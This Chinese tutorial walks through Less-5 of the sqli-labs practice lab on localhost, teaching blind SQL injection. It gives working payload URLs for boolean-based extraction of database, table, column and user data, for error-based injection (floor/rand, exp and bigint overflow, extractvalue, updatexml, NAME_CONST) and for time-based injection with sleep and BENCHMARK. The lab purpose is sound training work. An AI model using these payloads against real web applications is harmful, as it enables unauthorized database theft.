Less-5
這里說一下,有很多的blog是翻譯或者copy的,這關正確的思路是盲注。從源代碼中可以看到,運行返回結果正確的時候只返回you are in....,不會返回數據庫當中的信息了,所以我們不能利用上述less1-4的方法
我們從這這一關開始學習盲注。結合background-2的信息,將上述能使用的payload展示一下使用方法。
-
利用 left(database(),1)進行嘗試
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
查看一下version(),數據庫的版本號為5.6.17,這里的語句的意思是看版本號的第一位是不是5,明顯的返回的結果是正確的。
當版本號不正確的時候,則不能正確顯示 you are in......
接下來看一下數據庫的長度
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23
長度為8時,返回正確結果,說明長度為8.
猜測數據庫第一位
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+
Database()為security,所以我們看他的第一位是否 > a,很明顯的是s > a,因此返回正確。當我們不知情的情況下,可以用二分法來提高注入的效率。
猜測數據庫第二位
得知第一位為s,我們看前兩位是否大於 sa
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+
往下的請舉一反三,因有人問過此類問題,不知道該怎么進行第二位第三位。這里對於這個問題只講一次,以后就不會再說這個問題。要有自我思考的能力和意識。
-
利用substr() ascii()函數進行嘗試
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
根據以上得知數據庫名為security,那我們利用此方式獲取security數據庫下的表。
獲取security數據庫的第一個表的第一個字符
Ps:此處table_schema可以寫成 ='security',但是我們這里使用的database(),是因為此處database()就是security。此處同樣的使用二分法進行測試,直到測試正確為止。
此處應該是101,因為第一個表示email。
如何獲取第一個表的第二位字符呢?
這里我們已經了解了substr()函數,這里使用substr(**,2,1)即可。
那如何獲取第二個表呢?思考一下!
這里可以看到我們上述的語句中使用的limit 0,1. 意思就是從第0個開始,獲取第一個。那要獲取第二個是不是就是limit 1,1!
此處113返回是正確的,因為第二個表示referers表,所以第一位就是r.
以后的過程就是不斷的重復上面的,這里就不重復造輪子了。原理已經解釋清楚了。
當你按照方法運行結束后,就可以獲取到所有的表的名字。
-
利用regexp獲取(2)中users表中的列
上述語句時選擇users表中的列名是否有us**的列
http://127.0.0.1/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
上圖中可以看到username存在。我們可以將username換成password等其他的項也是正確的。
-
利用ord()和mid()函數獲取users表的內容
獲取users表中的內容。獲取username中的第一行的第一個字符的ascii,與68進行比較,即為D。而我們從表中得知第一行的數據為Dumb。所以接下來只需要重復造輪子即可。
總結:以上(1)(2)(3)(4)我們通過使用不同的語句,將通過布爾盲注SQL的所有的payload進行演示了一次。想必通過實例更能夠對sql布爾盲注語句熟悉和理解了。
接下來,我們演示一下報錯注入和延時注入。
(5)首先使用報錯注入
http://127.0.0.1/sqllib/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
利用double數值類型超出范圍進行報錯注入
http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
利用bigint溢出進行報錯注入
http://127.0.0.1/sqllib/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
xpath函數報錯注入
http://127.0.0.1/sqllib/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1/sqllib/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
利用數據的重復性
http://127.0.0.1/sqllib/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
-
延時注入
利用sleep()函數進行注入
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
當錯誤的時候會有5秒的時間延時。
利用BENCHMARK()進行延時注入
http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
當結果正確的時候,運行ENCODE('MSG','by 5 seconds')操作50000000次,會占用一段時間。
至此,我們已經將上述講到的盲注的利用方法全部在less5中演示了一次。在后續的關卡中,將會挑一種進行演示,其他的盲注方法請參考less5.